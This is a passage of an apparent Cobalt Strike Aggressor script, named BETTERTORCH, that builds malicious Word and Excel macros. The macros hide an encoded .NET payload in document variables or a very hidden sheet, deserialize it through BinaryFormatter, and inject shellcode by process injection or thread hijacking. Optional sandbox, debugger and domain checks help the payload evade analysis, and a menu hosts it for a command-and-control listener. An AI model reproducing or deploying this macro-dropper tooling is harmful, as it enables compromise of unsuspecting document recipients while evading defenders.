foreach $vv (@lines){
$insert = $insert . " so = so & \"" . $vv . "\"\r\n";
}
}
$soval = random_string(5);
$dict = random_string(5);
$manifest = random_string(5);
$decodehex = random_string(5);
$splitstr = random_string(5);
if(%options["netType"] eq "4")
{
$insert = $insert . $manifest . "= \"\"\r\n\r\n";
$insert = $insert . "$manifest = $manifest & \"<?xml version=\"\"1.0\"\" encoding=\"\"UTF-16\"\" standalone=\"\"yes\"\"?><assembly xmlns=\"\"urn:schemas-microsoft-com:asm.v1\"\" manifestVersion=\"\"1.0\"\"><assemblyIdentity name=\"\"mscorlib\"\" version=\"\"4.0.0.0\"\" publicKeyToken=\"\"B77A5C561934E089\"\" />\"\r\n";
$insert = $insert . "$manifest = $manifest & \"<clrClass clsid=\"\"{D0CBA7AF-93F5-378A-BB11-2A5D9AA9C4D7}\"\" progid=\"\"System.Runtime.Serialization.Formatters.Binary.BinaryFormatter\"\" threadingModel=\"\"Both\"\" name=\"\"System.Runtime.Serialization.Formatters.Binary.BinaryFormatter\"\" runtimeVersion=\"\"v4.0.30319\"\" />\"\r\n";
$insert = $insert . "$manifest = $manifest & \"<clrClass clsid=\"\"{8D907746-455E-39A7-BD31-BC9F81468347}\"\" progid=\"\"System.Collections.ArrayList\"\" threadingModel=\"\"Both\"\" name=\"\"System.Collections.ArrayList\"\" runtimeVersion=\"\"v4.0.30319\"\" />\"\r\n";
$insert = $insert . "$manifest = $manifest & \"<clrClass clsid=\"\"{8D907846-455E-39A7-BD31-BC9F81468347}\"\" progid=\"\"System.Text.ASCIIEncoding\"\" threadingModel=\"\"Both\"\" name=\"\"System.Text.ASCIIEncoding\"\" runtimeVersion=\"\"v4.0.30319\"\" />\"\r\n";
$insert = $insert . "$manifest = $manifest & \"<clrClass clsid=\"\"{8D907846-455E-39A7-BD31-BC9F81488347}\"\" progid=\"\"System.Security.Cryptography.FromBase64Transform\"\" threadingModel=\"\"Both\"\" name=\"\"System.Security.Cryptography.FromBase64Transform\"\" runtimeVersion=\"\"v4.0.30319\"\" />\"\r\n";
$insert = $insert . "$manifest = $manifest & \"<clrClass clsid=\"\"{8D907846-455E-39A7-BD31-BC9F81468B47}\"\" progid=\"\"System.IO.MemoryStream\"\" threadingModel=\"\"Both\"\" name=\"\"System.IO.MemoryStream\"\" runtimeVersion=\"\"v4.0.30319\"\" /></assembly>\"\r\n";
}
if($word){
$insert = $insert . " ActiveDocument.Variables.Add Name:=\"" . $soval . "\" , Value:=so\r\n";
$insert = $insert . " ActiveDocument.Variables.Add Name:=\"" . $dict . "\" , Value:=\"" . $dictstr . "\"\r\n";
$insert = $insert . " ActiveDocument.Variables.Add Name:=\"" . $manifest . "\" , Value:=" . $manifest. "\r\n";
}else{
$insert = $insert . " ws.Cells(1,2).Value = so\r\n";
$insert = $insert . " ws.Cells(1,3).Value = \"". $dictstr . "\"\r\n";
$insert = $insert . " ws.Cells(1,4).Value = ". $manifest. "\r\n";
}
$insert = $insert . "\r\n\r\n\r\n";
$addcode = " " . $code . " = ";
foreach $v (@doca){
$addcode = $addcode . " " . $decode . "(\"".$v."\") & ";
}
$addcode = $addcode . "\"\"\r\n";
$data = $data . "Public " . $binary . " As String\r\n";
$data = $data . "Public " . $code . " As String\r\n";
$data = $data . "Public d as New Scripting.Dictionary\r\n";
$data = $data . "\r\n\r\n";
$data = $data . "Function ".$splitstr."(str)\r\n";
$data = $data . " Dim Result() As String\r\n";
$data = $data . " Dim Display As String\r\n";
$data = $data . " Result = Split(str, \",\")\r\n";
$data = $data . " For i = LBound(Result()) To UBound(Result())\r\n";
$data = $data . " Dim Res2() As String\r\n";
$data = $data . " Res2() = Split(Result(i), \"|\")\r\n";
$data = $data . " d(Res2(0)) = Res2(1)\r\n";
$data = $data . " Next i\r\n";
$data = $data . "End Function\r\n";
$data = $data . "\r\n\r\n";
if($word){
$data = $data . "Function " . $decode . "(arg)\r\n";
$data = $data . " " . $decode . " = ActiveDocument.Variables(arg).Value\r\n";
$data = $data . "End Function \r\n";
$data = $data . "\r\n\r\n";
}
$data = $data . "Private Function " . $decodehex . "(hex)\r\n";
$data = $data . " On Error Resume Next\r\n";
$data = $data . " Dim DM, EL\r\n";
$data = $data . " Set DM = CreateObject(d(\"" . $xmldom . "\"))\r\n";
$data = $data . " Set EL = DM.createElement(\"tmp\")\r\n";
$data = $data . " EL.DataType = d(\"" . $binhex . "\")\r\n";
$data = $data . " EL.Text = hex\r\n";
$data = $data . " ".$decodehex." = EL.NodeTypedValue\r\n";
$data = $data . "End Function\r\n";
$data = $data . "\r\n\r\n";
$data = $data . "Sub DELETEME_Setup\r\n";
if(!$word){
$data = $data . "Dim wb As Workbook\r\n";
$data = $data . "Set wb = ActiveWorkbook\r\n";
$data = $data . "Dim ws As Worksheet\r\n";
$data = $data . "Set ws = wb.Sheets.Add(Type:=xlWorksheet, After:=Application.ActiveSheet)\r\n";
$data = $data . "ws.Visible = xlSheetVeryHidden\r\n";
$data = $data . "ws.name = \"" . $sheet . "\" \r\n";
$data = $data . "ws.Range(\"A1\", \"Z99\").NumberFormat = \"@\"\r\n";
}
$data = $data . $insert;
$data = $data . "End Sub\r\n\r\n";
$data = $data . "'Excel\r\n";
$data = $data . "'Sub Workbook_Open()\r\n";
$data = $data . "'Sub Auto_Open()\r\n";
$data = $data . "'Word\r\n";
$data = $data . "'Sub AutoOpen()\r\n";
$data = $data . "Sub RENAME_ME_FROM_ABOVE_OR_I_WONT_RUN()\r\n";
if($word){
$data = $data . $addcode;
$data = $data . $splitstr . "( " . $decode . "(\"" . $dict . "\"))\r\n";
$data = $data . " serialized_obj = " . $decode . "(\"" . $soval . "\")\r\n";
$data = $data . " " . $manifest . " = " . $decode . "(\"" . $manifest . "\")\r\n";
}else{
$data = $data . "Dim wb As Workbook\r\n";
$data = $data . "Set wb = ActiveWorkbook\r\n";
$data = $data . "Dim ws As Worksheet\r\n";
$data = $data . "Set ws = wb.Sheets(\"". $sheet . "\")\r\n";
$data = $data . $code . " = \"\"\r\n";
$data = $data . "For i = 1 to 100\r\n\t" . $code . " = " . $code . " & ws.Range(\"A\" & i)\r\nNext i\r\n";
$data = $data . $splitstr ."( ws.Range(\"C1\"))\r\n";
$data = $data . $manifest . " = ws.Range(\"D1\")\r\n";
$data = $data . " serialized_obj = ws.Range(\"B1\")\r\n";
}
$data = $data . " " . $binary . " = d(\"" . $binary . "\")\r\n";
$data = $data . " entry_class = d(\"". $classname . "\")\r\n";
$data = $data . " Dim stm As Object, fmt As Object, al As Object\r\n";
if(%options["netType"] eq "4")
{
$data = $data . " " . $actctx. " = d(\"" . $actctx . "\")\r\n";
$data = $data . " Set ax = CreateObject(" . $actctx . ")\r\n";
$data = $data . " ax.ManifestText = " . $manifest . "\r\n";
$data = $data . " Set stm = ax.CreateObject(d(\"" . $memstream . "\"))\r\n";
$data = $data . " Set fmt = ax.CreateObject(d(\"" . $binformat . "\"))\r\n";
$data = $data . " Set al = ax.CreateObject(d(\"" . $arraylist . "\"))\r\n";
}else{
$data = $data . " Set stm = CreateObject(d(\"" . $memstream . "\"))\r\n";
$data = $data . " Set fmt = CreateObject(d(\"" . $binformat . "\"))\r\n";
$data = $data . " Set al = CreateObject(d(\"" . $arraylist . "\"))\r\n";
}
$data = $data . " Dim dec\r\n";
$data = $data . " dec = ".$decodehex."(serialized_obj)\r\n";
$data = $data . " For Each i In dec\r\n";
$data = $data . " stm.WriteByte i\r\n";
$data = $data . " Next i\r\n";
$data = $data . " stm.Position = 0\r\n";
$data = $data . " Dim n As Object, di As Object, o As Object\r\n";
$data = $data . " Set n = fmt.SurrogateSelector\r\n";
$data = $data . " Set di = fmt.Deserialize_2(stm)\r\n";
$data = $data . " al.Add n\r\n";
$data = $data . " Set o = di.DynamicInvoke(al.ToArray()).CreateInstance(entry_class)\r\n";
if(%options["checkDomain"] eq "true")
{
$data = $data . " o.velma 0, \"" . %options["domain"]. "\"\r\n";
}
if(%options["checkDomainJoined"] eq "true")
{
$data = $data . " o.velma 1, \"\"\r\n";
}
if(%options["hasSandbox"] eq "true")
{
$data = $data . " o.velma 2, \"\"\r\n";
}
if(%options["badMac"] eq "true")
{
$data = $data . " o.velma 3, \"\"\r\n";
}
if(%options["isDebugged"] eq "true")
{
$data = $data . " o.velma 4, \"\"\r\n";
}
if(%options["method"] eq "Launch & Inject"){
$data = $data . " o.scooby " . $binary. ", " . $code . "\r\n";
}else if (%options["method"] eq "Hijack Threads"){
$data = $data . " o.scrappy " . $binary . ", " . $code . "\r\n";
}else if(%options["method"] eq "Execute Delegate"){
$data = $data . " o.daphne " . $code . "\r\n";
}else if(%options["method"] eq "New Thread in Existing Process"){
$data = $data . " o.fred " . $code . "\r\n";
}
$data = $data . "End Sub\r\n";
$url = $data;
[dialog.DialogUtils addToClipboard: $data];
}
# create a popup menu!
popup attacks {
item "Host BETTERTORCH Payload" {
local('$dialog %defaults');
# setup our defaults
%defaults["uri"] = "/a";
%defaults["host"] = localip();
%defaults["port"] = 80;
%defaults["stageless"] = "true";
%defaults["binary"] = "rundll32.exe";
%defaults["type"] = "Word";
%defaults["netType"] = "4";
%defaults["method"] = "New Thread in Existing Process";
# create our dialog
$dialog = dialog("Host BETTERTORCH Payload", %defaults, &setup_attack);
dialog_description($dialog, "Host a BETTERTORCH Payload");
drow_text($dialog, "uri", "URI Path: ", 20);
drow_text($dialog, "host", "Local Host: ");
drow_text($dialog, "port", "Local Port: ");
drow_listener_stage($dialog, "listener", "Listener: "); # can't gen stageless payloads for other team servers.
drow_combobox($dialog, "netType", "DotNet Version: ", @("3.5", "4"));
drow_checkbox($dialog, "stageless", "Stageless: ", "Use Stageless Payload");
drow_combobox($dialog, "method", "Method: ", @("Launch & Inject","Hijack Threads","Execute Delegate","New Thread in Existing Process"));
drow_text($dialog, "binary", "Target Binary or Process: ");
drow_checkbox($dialog, "checkDomain", "CheckDomain: ", "Check Domain before Execution");
drow_text($dialog, "domain", "Domain: ");
drow_checkbox($dialog, "checkDomainJoined", "CheckDomainJoined: ", "Check if system is domain joined");
drow_checkbox($dialog, "hasSandbox", "Has Sandbox: ", "Check if system is a sandbox");
drow_checkbox($dialog, "badMac", "Has Bad Mac: ", "Check if system has a fake MAC");
drow_checkbox($dialog, "isDebugged", "Is Debugged: ", "Check if system is being debugged");
drow_combobox($dialog, "type", "Type: ", @("Word", "Excel"));
dbutton_action($dialog, "Launch");
# show our dialog
dialog_show($dialog);
}
}